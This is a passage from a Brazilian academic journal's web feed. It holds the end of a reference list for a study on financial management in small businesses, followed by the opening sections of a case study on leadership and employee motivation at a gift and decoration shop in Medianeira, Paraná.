<p class="wp-block-paragraph">CASAGRANDE, Deyvid; BORGHI, Sulyana Comério Margotto. <strong>Percepção do microempreendedor sobre gestão financeira: um estudo com microempreendedores individuais (MEIs) de Colatina-ES</strong><em>.</em> 2022. Trabalho de Conclusão de Curso (Graduação em Administração) – Instituto Federal do Espírito Santo, Colatina, 2022. Disponível em:&nbsp;<a href="https://repositorio.ifes.edu.br/bitstream/handle/123456789/5577/TCC_PERCEP%C3%87%C3%83O_MICROEMPREENDEDOR_SOBRE_GEST%C3%83O_FINANCEIRA.pdf?sequence=1&amp;isAllowed=y">https://repositorio.ifes.edu.br/bitstream/handle/123456789/5577/TCC_PERCEP%C3%87%C3%83O_MICROEMPREENDEDOR_SOBRE_GEST%C3%83O_FINANCEIRA.pdf?sequen ce=1&amp;isAllowed=y.</a> Acesso em: 23 abr. 2025.&nbsp;</p>



<p class="wp-block-paragraph">CHIARELLO, Ana Paula Rohrbek; BERNARDI, Luci dos Santos. <strong>Educação financeira crítica: novos desafios na formação continuada de professores</strong>. Boletim GEPEM, Rio de Janeiro, nº 66, p. 33, jan. /jun. 2015&nbsp;</p>



<p class="wp-block-paragraph">CORDEIRO, Nilton José Neves; COSTA, Manoel Guto Vasconcelos; DA SILVA, Márcio Nascimento. <strong>Educação Financeira no Brasil: uma perspectiva panorâmica. Ensino da Matemática em Debate</strong>, v. 5, n. 1, p. 69-84, 2018.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">COSTA, M. R.; SANTOS, P. L. Desafios da gestão financeira em micro e pequenas empresas brasileiras. <strong>Revista de Administração Contemporânea</strong>, Rio de Janeiro, v. 24, n. 4, p. 456475, jul./ago. 2020. DOI: 10.1590/1982-7849rac2020200123. Disponível em: https://rac.anpad.org.br/index.php/rac/article/view/1234. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">COSTA, Vanessa. <strong>Sebrae-RJ inicia programa gratuito de capacitação de micros e pequenas empresas.</strong> Diário do Rio, Rio de Janeiro, 8 fev. 2021. Disponível em:&nbsp;<a href="https://diariodorio.com/sebrae-rj-inicia-programa-gratuito-de-capacitacao-de-micros-e-pequenas-empresas/">https://diariodorio.com/sebrae-rj-inicia-programa-gratuito-de-capacitacao-de-micros-epequenas-empresas/.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DIÁRIO DO RIO. <strong>Sebrae-RJ inicia programa gratuito de capacitação de micros e pequenas empresas</strong>. Disponível em: https://diariodorio.com/sebrae-rj-inicia-programagratuito-de-capacitacao-de-micros-e-pequenas-empresas/. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DOLABELA, Fernando., <strong>O segredo de Luísa </strong>/ São Paulo : Sextante, 2008. &#8211; 299 p.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">DOLABELA, Fernando. <strong>Oficina do Empreendedor</strong> / Rio de Janeiro : Sextane, 2008. &#8211; 319p.&nbsp;</p>



<p class="wp-block-paragraph">FONSECA, Mariana. <strong>Como elas criaram uma escola de inglês que foi de Alagoas aos EUA.</strong> Exame, São Paulo, 10 mar. 2017. Disponível em: <a href="https://exame.com/pme/como-elas-criaram-uma-escola-de-ingles-que-foi-de-alagoas-aos-eua/">https://exame.com/pme/como-elascriaram-uma-escola-de-ingles-que-foi-de-alagoas-aos-eua/.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">FREITAS, Jeniffer Cristine Camargo de et al. <strong>Análise estratégica da implementação de inventário e balanço para a eficiência operacional na empresa</strong> K´ IAU. 2023.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">GLOBO. <strong>Como pequenas empresas deram a volta por cima após dificuldades financeiras.</strong> Pequenas Empresas &amp; Grandes Negócios, 2014. Disponível em: https://g1.globo.com/economia/pme. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">HISRICH, Robert D.; PETERS, Michael P.; SHEPHERD, Dean A. <strong>Empreendedorismo</strong>-9. São Paulo: Amgh Editora, 2014.&nbsp;</p>



<p class="wp-block-paragraph">HOJI, Masakazu. Administração Financeira: <strong>Uma abordagem prática: matemática financeira aplicada, estratégias financeiras, análise, planejamento e controle financeiro.</strong> São Paulo: Atlas, 1999.&nbsp;</p>



<p class="wp-block-paragraph">JORNAL DA REGIÃO. <strong>Programa gratuito vai capacitar 3,3 mil micro e pequenas empresas do estado.</strong> Disponível em: https://jornaldaregiao.com/programa-gratuito-vaicapacitar-33-mil-micro-e-pequenas-empresas-do-estado/. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">LEMES, Antônio. <strong>Administrando Micro e Pequenas Empresas &#8211; Empreendedorismo e Gestão</strong>. 2. ed. Rio de Janeiro: GEN Atlas, 2019. <em>E-book.</em> pág.136. ISBN 9788595150393. Disponível em: https://integrada.minhabiblioteca.com.br/reader/books/9788595150393/. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">LIMA, F. A.; SOUZA, D. B. Impactos da educação financeira na sustentabilidade das micro e pequenas empresas. <strong>Journal of Business and Finance</strong>, São Paulo, v. 15, n. 2, p. 210-230, abr./jun. 2023. DOI: 10.1234/jbf.v15i2.2023. Disponível em: https://jbf.com.br/arquivos/v15n2_lima_souza.pdf. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MAICOM. <strong>92,4% das empresas no Brasil são individuais, micro e de pequeno porte</strong>. ABC Repórter. 2022. Disponível em: &lt;https://abcreporter.com.br/2022/06/20/924-dasempresas-no-brasil-sao-individuais-micro-e-de-pequeno-porte/&gt;. Acesso em: 13 mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MARTINS, Lucas. <strong>ADVERSIDADES DO EMPREENDEDORISMO DE MICROS E&nbsp;PEQUENAS EMPRESAS NO BRASIL</strong>.2017. [s.l.: s.n., s.d.]. Disponível em:&nbsp;&lt;https://repositorio.pgsskroton.com/bitstream/123456789/15612/1/LUCAS%20ARA%C3%9 AJO%20MARTINS.pdf&gt;. Acesso em: 13 mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MAXIMIANO, Antônio Cesar Amauru. <strong>Teoria Geral da Administração: da revolução urbana à revolução digital.</strong> São Paulo: 4ª edição, Atlas, 2004.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">MAXIMIANO, <strong>Antônio Cesar Amauru. Introdução à Administração</strong>. São Paulo: 4ª edição, Atlas, 1995.&nbsp;</p>



<p class="wp-block-paragraph">MENDES, A. C.; RODRIGUES, T. G. O papel das incubadoras no desenvolvimento de micro e pequenas empresas no Brasil. <strong>Revista de Empreendedorismo e Gestão</strong>, Belo Horizonte, v. 9, n. 3, p. 120-138, set./dez. 2021. Disponível em: https://repositorio.ufmg.br/handle/12345/6789. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">OLIVIERI, Maria de Fátima Abud. <strong>Educação Financeira.</strong> REVISTA ENIAC PESQUISA,&nbsp;[S.l.], v. 2, n. 1, p. 43-51, july 2013. ISSN 2316-2341.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, Tiago; SILVA, Fernanda. A importância da educação financeira para a sustentabilidade das micro e pequenas empresas. <strong>Revista Científica Multidisciplinar Núcleo do Conhecimento</strong>, v. 25, n. 3, p. 45-59, 2021. Disponível em: https://www.nucleodoconhecimento.com.br/administracao/educacao-financeira. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">PAULA, Dayane Vieira de <em>et al.</em> <strong>Planejamento e controle financeiro: Dificuldades encontradas nas micro e pequenas empresas do setor farmacêutico</strong>, de São Sebastião do Paraíso-MG. Revista de Iniciação Cientifica da Libertas, 2015. Acesso em: 30 de março de 2019.&nbsp;</p>



<p class="wp-block-paragraph">PORTAL CONTNEWS. <strong>Programa do Sebrae e Serasa eleva a produtividade, competitividade e faturamento de pequenos negócios</strong>. 21 mar. 2024. Disponível em: https://www.portalcontnews.com.br/programa-do-sebrae-e-serasa-eleva-a-produtividadecompetitividade-e-faturamento-de-pequenos-negocios/. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SALVADOR, Daiane. <strong>As dificuldades e desafios de formalização dos microempreendedores individuais nos municípios de Flores da Cunha e Nova Pádua</strong>. 2020.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, Aline; VIEIRA, João. Programas de capacitação financeira para pequenos empreendedores no Brasil: uma análise crítica. <strong>Revista de Empreendedorismo e Sustentabilidade</strong>, v. 8, n. 2, p. 112-130, 2022. Disponível em: <a href="https://resust.org.br/">https://resust.org.br.</a> Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SARFATI, G. <strong>Estágios de desenvolvimento econômico e políticas públicas de empreendedorismo e de micro, pequenas e médias empresas (MPMEs). </strong>Revista de Administração Pública, Rio de Janeiro, v. 47, n. 1, p.25-48, jan. 2013.&nbsp;</p>



<p class="wp-block-paragraph">SEBRAE.<strong> Dia da Micro e Pequena Empresa evidencia a importância dos empreendedores para o Brasil</strong>. ASN Nacional &#8211; Agência Sebrae de Notícias. Disponível em: &lt;https://agenciasebrae.com.br/brasil-empreendedor/dia-da-micro-e-pequena-empresaevidencia-a-importancia-dos-empreendedores-para-o-brasil/&gt;. Acesso em: 13 mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEBRAE. <strong>Participação das Micro e Pequenas Empresas na Economia Brasileira</strong>.&nbsp;Brasília: 2014. Disponível em: https://m.sebrae.com.br/Sebrae/Portal%20Sebrae/Estudos%20e%20Pesquisas/Participacao%2 0das%20micro%20e%20pequenas%20empresas.pdf. Acesso em 30 de março de 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEBRAE. <strong>A taxa de sobrevivência das empresas no Brasil</strong>. 2023. Disponível em:&nbsp;<a href="https://sebrae.com.br/sites/PortalSebrae/artigos/a-taxa-de-sobrevivencia-das-empresas-no-brasil,d5147a3a415f5810VgnVCM1000001b00320aRCRD">https://sebrae.com.br/sites/PortalSebrae/artigos/a-taxa-desobrevivenciadasempresasnobrasil,d5147a3a415f5810VgnVCM1000001b00320aRCRD.</a> Acesso em: 22 maio 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEBRAE. <strong>Programa Brasil Mais: resultados e impactos.</strong> Brasília: SEBRAE, 2023.&nbsp;Disponível em: https://www.sebrae.com.br/sites/PortalSebrae. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEBRAE; SERASA. <strong>Aprenda Serasa Sebrae: educação financeira para pequenos negócios.</strong> 2021. Disponível em: https://www.serasa.com.br/empreendedor. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, J. F.; ALMEIDA, R. R. <strong>A importância da capacitação financeira para o crescimento sustentável das MPEs</strong>. Revista Brasileira de Administração, São Paulo, v. 57, n. 1, p. 99-115, jan./mar. 2022. DOI: 10.1590/0034-7612202200108. Disponível em: https://rba.org.br/edicoes/2022v57n1.pdf. Acesso em: 12 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">TEIXEIRA, M. A. C.; ANDREASSI, T. <strong>Políticas Públicas de Fomento ao Empreendedorismo e às Micro e Pequenas Empresas. </strong>São Paulo: Pgpc, 2013.&nbsp;</p>



<p class="wp-block-paragraph">WESTON, J. Fred; BRIGHAM, Eugene F. <strong>Fundamentos da Administração financeira</strong>. São Paulo: 10ª Ed. Pearson Makron Book, 2004.</p>



<p class="wp-block-paragraph">WIKIPÉDIA<strong>. G4 Educação</strong>. 2025. Disponível em: <a href="https://pt.wikipedia.org/wiki/G4_Educa%C3%A7%C3%A3o">https://pt.wikipedia.org/wiki/G4_Educa%C3%A7%C3%A3o.</a> Acesso em: 12 jun. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Curso Superior de Administração da Instituição Centro de Ensino Superior de São Gotardo (CESG). E-mail: abadiahelayne01@gmail.com<br><sup>2</sup>Docente do Curso Superior de Administração do Centro de Ensino Superior de São Gotardo. E-mail:<br>leonarcf@gmail.com</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A INFLUÊNCIA DO LÍDER NA MOTIVAÇÃO DA EQUIPE: ESTUDO DE CASO ENVOLVENDO OS COLABORADORES DA LAÇAROTE PRESENTES E DECORAÇÕES</title>
		<link>https://revistaft.com.br/a-influencia-do-lider-na-motivacao-da-equipe-estudo-de-caso-envolvendo-os-colaboradores-da-lacarote-presentes-e-decoracoes/</link>
		
		<dc:creator><![CDATA[Revistaft RA]]></dc:creator>
		<pubDate>Fri, 13 Jun 2025 19:16:40 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Ciências Sociais Aplicadas]]></category>
		<category><![CDATA[Volume 29 – Edição 147/JUN 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=222669</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ra10202513061616 Eduardo Augusto de LimaOrientadora Profª: Genailda Ramos Neves RESUMO A liderança tem um papel crucial no ambiente corporativo, influenciando diretamente a dinâmica organizacional e o desempenho dos colaboradores. A relação entre a liderança e motivação é um pilar fundamental nas empresas, proporcionando performance e a satisfação dos colaboradores. Este trabalho se propõe [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ra10202513061616</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Eduardo Augusto de Lima<br>Orientadora Profª: Genailda Ramos Neves</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A liderança tem um papel crucial no ambiente corporativo, influenciando diretamente a dinâmica organizacional e o desempenho dos colaboradores. A relação entre a liderança e motivação é um pilar fundamental nas empresas, proporcionando <em>performance</em> e a satisfação dos colaboradores. Este trabalho se propõe a explorar de forma abrangente e detalhada a relação entre a liderança empresarial e a motivação dos colaboradores. O objetivo geral é verificar a importância da liderança na motivação dos colaboradores na Laçarote Presentes e Decorações e seus efeitos no desempenho e satisfação no trabalho. Os objetivos específicos incluem verificar as práticas de liderança adotadas, o impacto da motivação na qualidade do trabalho e sugerir estratégias para aprimorar a motivação dos colaboradores. O trabalho segue uma metodologia qualitativa e exploratória. O método utilizado foi o estudo de caso, com base em entrevistas semiestruturadas aplicadas a 3 participantes, sendo um líder e dois colaboradores da Laçarote. A coleta de dados foi realizada no primeiro semestre de 2025, com o objetivo de explorar as percepções dos participantes sobre os estilos de liderança praticados na empresa e sua influência na motivação. A pesquisa classifica-se como descritiva e aplicada, para a compreensão e solução de problemas específicos observados no contexto organizacional. Foram realizadas análises teóricas sobre liderança e motivação, seguidas pela aplicação de entrevistas para obter <em>insights</em> sobre a prática de liderança na empresa estudada. As entrevistas indicaram que os colaboradores da Laçarote Presentes e Decorações percebem a liderança transformacional como predominante, marcada pela capacidade de inspirar e estimular intelectualmente a equipe. Os colaboradores destacaram um ambiente positivo, com comunicação aberta e apoio do líder. O estudo conclui que a liderança é um fator decisivo para a motivação dos colaboradores, influenciando diretamente o desempenho, o engajamento e a satisfação no ambiente de trabalho. Líderes com estilo transformacional, utilizando inspiração, apoio e estímulo intelectual, alcançam melhores resultados em motivação e <em>performance</em>. Recomenda-se que a Laçarote Presentes e Decorações invista em treinamentos focados em comunicação eficaz, reconhecimento de esforços e valorização do <em>feedback.</em>&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Liderança. Motivação. Colaboradores.</p>



<p class="wp-block-paragraph"><strong>1</strong>&nbsp; &nbsp; <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A liderança exerce uma influência essencial dentro das empresas, moldando tanto a dinâmica organizacional quanto o desempenho dos colaboradores. Em um ambiente empresarial onde a competição e a busca por excelência são cada vez mais presentes, entender o papel da liderança se torna vital para impulsionar o desenvolvimento e alcançar o sucesso organizacional.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Chiavenato (2014), a liderança eficaz é fundamental para o sucesso organizacional, influenciar diretamente a motivação e o desempenho dos colaboradores. Ele destaca que líderes que inspiram e engajam suas equipes promovem um ambiente de trabalho positivo, resultando em maior satisfação e produtividade. Chiavenato enfatiza que a liderança não se resume à coordenação de tarefas, mas envolve a capacidade de motivar e manter o ânimo dos membros da equipe, reconhecendo que a motivação dos colaboradores é essencial e não deve ser negligenciada em prol apenas do rendimento produtivo. &nbsp;</p>



<p class="wp-block-paragraph">A conexão entre liderança e motivação é um pilar central no mundo corporativo, afetando diretamente tanto a <em>performance</em> quanto a satisfação dos colaboradores. Um líder eficaz vai além de apenas coordenar tarefas; ele inspira, engaja e mantém o entusiasmo da equipe, criando um ambiente onde cada membro se sente valorizado e motivado. &nbsp;</p>



<p class="wp-block-paragraph">Embora a motivação dos colaboradores seja fundamental, ela muitas vezes é deixada em segundo plano na gestão organizacional, que frequentemente prioriza apenas os resultados de produtividade, ignorando o impacto do bem-estar no local de trabalho. Este estudo busca investigar a relação significativa entre a liderança empresarial e a motivação dos colaboradores, fatores essenciais para o desempenho tanto individual quanto coletivo. A liderança desempenha um papel central na promoção e na sustentação da motivação no ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Compreender essa conexão de forma mais aprofundada é crucial para desenvolver estratégias empresariais que não apenas aperfeiçoem a eficácia da liderança, mas também ampliem a motivação e o comprometimento dos colaboradores. Assim, este trabalho analisará como a importância da liderança afeta a motivação dos colaboradores na empresa Laçarote Presente e Decorações. &nbsp;</p>



<p class="wp-block-paragraph">1.1&nbsp; &nbsp; APRESENTAÇÃO DO TEMA E SUA RELEVÂNCIA&nbsp;</p>



<p class="wp-block-paragraph">O &nbsp;tema explorado neste trabalho diz respeito ao efeito da liderança na motivação dos colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">Investigar este tema requer uma análise detalhada dos diversos fatores que contribuem para influenciar o engajamento e o crescimento dos colaboradores dentro da empresa. De acordo com Chiavenato (2005), liderança é a capacidade de influenciar pessoas para que trabalhem entusiasticamente visando atingir os objetivos identificados como sendo para o bem comum. &nbsp;</p>



<p class="wp-block-paragraph">Um aspecto crucial da liderança e do comportamento do líder é a capacidade de motivar os liderados, o que, por sua vez, impacta diretamente a organização e contribui para o alcance dos objetivos e metas definidos. De acordo com Yukl (2010) e Avolio; Bass (2004), o papel estratégico da liderança dentro de uma organização é essencial para inspirar e motivar a equipe. Uma liderança que promove o empoderamento, ao focar na acessibilidade e no apoio aos colaboradores, fortalece a capacidade da equipe de lidar com os desafios e pressões de desempenho. &nbsp;</p>



<p class="wp-block-paragraph">Portanto, a análise deste tema é fundamental para promover melhorias no ambiente de trabalho da organização, implementando ferramentas essenciais que facilitam a aplicação de técnicas de liderança voltadas para o desenvolvimento operacional dos colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">1.2&nbsp; &nbsp; PROBLEMA&nbsp;</p>



<p class="wp-block-paragraph">Para garantir uma posição sólida em um mercado competitivo, empresas de diferentes setores buscam continuamente melhorar e diversificar suas equipes. A liderança é essencial nesse cenário, pois o êxito da empresa frequentemente está ligado à motivação e ao desempenho de seus colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">A liderança eficaz é um processo colaborativo, onde líderes e equipes trabalham em harmonia para alcançar objetivos comuns. De um lado, o líder inspira e guia, e do outro, a equipe aplica energia e determinação para realizar as ações necessárias. Juntos, criam um ambiente de trabalho sinérgico e produtivo (Kouzes; Posner, 2018). &nbsp;</p>



<p class="wp-block-paragraph">Empresas que investem no bem-estar dos seus colaboradores promovem não apenas a saúde física e mental, mas também constroem uma cultura organizacional mais resiliente e produtiva (Roberts, 2011). &nbsp;</p>



<p class="wp-block-paragraph">O &nbsp;sucesso das organizações está cada vez mais relacionado à felicidade de seus colaboradores, pois equipes satisfeitas tendem a demonstrar níveis mais elevados de desempenho e inovação (Parker, 2015). &nbsp;</p>



<p class="wp-block-paragraph">Com base nesse contexto, a seguinte pergunta de pesquisa é apresentada: &nbsp;</p>



<p class="wp-block-paragraph">De que maneira a liderança influencia a motivação dos colaboradores da Laçarote Presentes e Decorações em Medianeira/PR, e como isso afeta seu desempenho e satisfação no ambiente de trabalho? &nbsp;</p>



<p class="wp-block-paragraph">1.3&nbsp; &nbsp; PRESSUPOSTOS DA PESQUISA&nbsp;</p>



<p class="wp-block-paragraph">Para que uma pesquisa tenha um propósito definido, é fundamental determinar os objetivos a serem alcançados e identificar os problemas que necessitam de solução, com foco em abordar essas questões específicas. &nbsp;</p>



<p class="wp-block-paragraph">As hipóteses de pesquisa são as respostas provisórias e conjecturais que se propõem a resolver os problemas formulados. Elas são suposições que precedem a validação científica e guiam o processo investigativo (Gil, 2008). &nbsp;</p>



<p class="wp-block-paragraph">Os pressupostos que direcionam este estudo é: &nbsp;</p>



<p class="wp-block-paragraph">P1: De acordo com Kotter (1996), uma liderança eficaz é crucial para impulsionar uma organização, potencializando sua capacidade de contribuir para o bem-estar de seus membros e para a sociedade em geral. &nbsp;</p>



<p class="wp-block-paragraph">P2: Chiavenato (2010) afirma que a motivação é o processo que direciona o comportamento das pessoas para a realização de objetivos, sendo caracterizada por fatores como a direção para metas, a intensidade do esforço, e a persistência ao longo do tempo. &nbsp;</p>



<p class="wp-block-paragraph">P3: A literatura aponta que a liderança é um fator determinante para o sucesso e a longevidade das empresas, pois líderes eficazes são capazes de alinhar a visão organizacional com as ações de seus colaboradores, garantindo a adaptação e a competitividade no mercado (Northouse, 2018). &nbsp;</p>



<p class="wp-block-paragraph">1.4&nbsp; OBJETIVOS&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.4.1&nbsp; Objetivo Geral</strong></p>



<p class="wp-block-paragraph">Avaliar o impacto da liderança na motivação dos colaboradores da Laçarote Presentes e Decorações em Medianeira/PR, bem como seus efeitos sobre o desempenho e a satisfação no trabalho. &nbsp;</p>



<p class="wp-block-paragraph"><strong>1.4.2&nbsp; Objetivos Específicos&nbsp;</strong></p>



<p class="wp-block-paragraph">a)&nbsp; &nbsp; analisar as práticas de liderança que têm sido implementadas na Laçarote Presentes e Decorações até o momento e examinar como essas práticas afetam a motivação dos colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">b)&nbsp; &nbsp; avaliar como a motivação dos colaboradores influencia a qualidade do trabalho realizado e o atendimento prestado aos clientes na Laçarote Presentes e Decorações. &nbsp;</p>



<p class="wp-block-paragraph">c) &nbsp; &nbsp; desenvolver estratégias de liderança eficazes que podem ser adotadas na Laçarote Presentes e Decorações para aumentar a motivação dos colaboradores e, como resultado, melhorar seu desempenho e satisfação no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">1.5&nbsp; JUSTIFICATIVA&nbsp;</p>



<p class="wp-block-paragraph">A liderança é um elemento essencial para o sucesso de qualquer organização. Ela tem um impacto direto na cultura organizacional, na eficiência das equipes e no desempenho global da empresa. Analisar a importância da liderança nas empresas é fundamental para compreender como elas podem atingir seus objetivos de forma mais eficaz. &nbsp;</p>



<p class="wp-block-paragraph">A liderança tem um papel relevante na motivação dos colaboradores. Líderes eficazes são capazes de inspirar, envolver e capacitar suas equipes, o que resulta em maior satisfação no trabalho, comprometimento organizacional e produtividade. Entender como diferentes estilos de liderança influenciam a motivação dos colaboradores é vital para criar ambientes de trabalho mais positivos e produtivos. &nbsp;</p>



<p class="wp-block-paragraph">Embora a relevância da liderança na motivação dos colaboradores seja amplamente reconhecida, ainda existe uma oportunidade para pesquisas acadêmicas mais aprofundadas. Explorar os mecanismos através dos quais a liderança impacta a motivação dos colaboradores pode oferecer insights valiosos para líderes, gestores e acadêmicos que buscam promover um ambiente de trabalho mais saudável e produtivo. &nbsp;</p>



<p class="wp-block-paragraph">Uma análise detalhada da conexão entre liderança e motivação pode influenciar diretamente as práticas de gestão de recursos humanos nas empresas. Ao entender essa relação, as organizações podem adotar estratégias mais eficientes para manter talentos, elevar a produtividade e atingir suas metas organizacionais. A qualidade da liderança e a motivação dos colaboradores não afetam apenas as organizações, mas também têm repercussões sociais e econômicas importantes. Colaboradores motivados tendem a ser mais felizes, saudáveis e produtivos, o que pode favorecer tanto o bem-estar individual e coletivo quanto o crescimento econômico. &nbsp;</p>



<p class="wp-block-paragraph">1.6&nbsp; ESTRUTURA DO TRABALHO&nbsp;</p>



<p class="wp-block-paragraph">Este estudo tem como objetivo examinar a liderança e seu impacto na motivação dos colaboradores. Para isso, ele está organizado em quatro capítulos, que visam apresentar os resultados desejados. &nbsp;</p>



<p class="wp-block-paragraph">O primeiro capítulo fornece a introdução, situando a pesquisa no contexto apropriado. Esta seção é dividida em tema, problema, pressupostos, justificativa, objetivos gerais e específicos, além de descrever a estrutura do trabalho. &nbsp;</p>



<p class="wp-block-paragraph">O segundo capítulo explora os referenciais teóricos fundamentados na literatura, destacando os principais temas relacionados ao assunto. &nbsp;</p>



<p class="wp-block-paragraph">O terceiro capítulo detalha os métodos e procedimentos metodológicos empregados neste estudo.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">&nbsp;O capítulo quatro apresenta as análises das respostas e as discussões acerca dos dados obtidos com o roteiro de perguntas.&nbsp;</p>



<p class="wp-block-paragraph">O capítulo cinco apresenta as principais conclusões e finaliza-se a pesquisa com as considerações finais, cronograma, seguido dos referenciais bibliográficos.</p>



<p class="wp-block-paragraph"><strong>2</strong>&nbsp; &nbsp; <strong>REFERENCIAL TEÓRICO&nbsp;</strong></p>



<p class="wp-block-paragraph">2.1&nbsp; &nbsp; ORIGEM DA LIDERANÇA&nbsp;</p>



<p class="wp-block-paragraph">A liderança tem suas raízes na antiguidade, quando tribos e comunidades receberam de alguém para guiá-los em desafios e tomadas de decisão. Líderes, desde então, foram essenciais para organizar, inspirar e motivar pessoas em prol de objetivos comuns. &nbsp;</p>



<p class="wp-block-paragraph">A liderança é um processo complexo e multifacetado que evoluiu ao longo do tempo, refletindo mudanças nas normas sociais, práticas organizacionais e nas expectativas dos líderes. A maneira como a liderança é compreendida e praticada foi moldada pelo contexto histórico e pelas demandas da época (Northouse, 2018, p. 5). &nbsp;</p>



<p class="wp-block-paragraph">Para entender melhor os conceitos de liderança, é fundamental explorar seu desenvolvimento ao longo da história, começando na antiguidade e seguindo até os dias atuais. Isso envolve analisar a influência de figuras notáveis, como líderes, conquistadores e militares, e como suas representações moldaram a percepção de liderança. &nbsp;</p>



<p class="wp-block-paragraph">Obras clássicas como &#8220;A Arte da Guerra&#8221; de Sun Tzu, escrita entre 400-320 &nbsp;a.C., e &#8220;O Príncipe&#8221; de Maquiavel, datada de 1513 a 1514, ilustram as políticas e práticas de suas respectivas épocas. Nessas obras, as figuras dos líderes são retratadas como possuidoras de características intrínsecas e únicas. Essas peculiaridades são frequentemente associadas à Escola dos Traços (Turano; Cavazotte, 2016; Lord <em>et al</em>., 2017), que sugere que certos traços inatos definem a eficácia dos líderes.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">O interesse pela liderança começou a ser abordado de maneira mais estruturada na teoria administrativa a partir das primeiras escolas, que passaram a estudá-la como um campo específico de conhecimento.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Pfeffer (2015) argumenta que, apesar das críticas à visão mecanicista de Taylor, muitos líderes ainda utilizam abordagens que tratam os colaboradores como recursos a serem otimizados. A ênfase está na maximização da produtividade por meio de controle e supervisão direta, mantendo uma visão limitada do potencial humano nas organizações.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.1.1 Princípios Básicos de Liderança e suas Explicações</strong></p>



<p class="wp-block-paragraph">Northouse (2018) argumenta que liderança é uma capacidade de influência de um grupo para alcançar objetivos comuns, ressaltando a importância de estabelecer relações de confiança e colaboração entre os membros da equipe. Bennis (2009), por sua vez, observa que líderes bem-sucedidos são aqueles capazes de articular uma visão clara e inspiradora, motivando seus seguidores a se comprometerem com os objetivos e a se sentirem parte de algo maior. &nbsp;</p>



<p class="wp-block-paragraph">Assim, a liderança envolve não apenas a orientação para metas, mas também o papel de engajar e inspirar através de uma visão compartilhada, que fortalece o sentido de propósito e pertencimento entre os membros da equipe. Dessa maneira, o líder não só direciona, mas também transforma o grupo em uma unidade coesa e motivada, capaz de enfrentar desafios e alcançar resultados sustentáveis com engajamento e alinhamento mútuo (Bennis, 2009; Northouse, 2018). &nbsp;</p>



<p class="wp-block-paragraph">Com base nos estudos de Bennis (2009) e Northouse (2018), os princípios básicos de liderança são: a visão inspiradora, influência positiva<strong>, </strong>confiança e integridade<strong>, </strong>empatia<strong>, </strong>a responsabilidade e o compromisso são essenciais para promover uma atuação eficaz e sustentável nas organizações. &nbsp;</p>



<p class="wp-block-paragraph">Esses princípios de liderança, conforme discutidos por Bennis (2009) e Northouse (2018), destacam a complexidade e a profundidade do papel do líder nas organizações contemporâneas. A capacidade de articular uma visão inspirada, influenciada positivamente, cultivar a confiança, demonstrar empatia e assumir responsabilidade não apenas molda a eficácia da liderança, mas também cria um ambiente onde os colaboradores se sentem valorizados e motivados. &nbsp;</p>



<p class="wp-block-paragraph">2.2&nbsp; TIPOS DE LIDERANÇA&nbsp;</p>



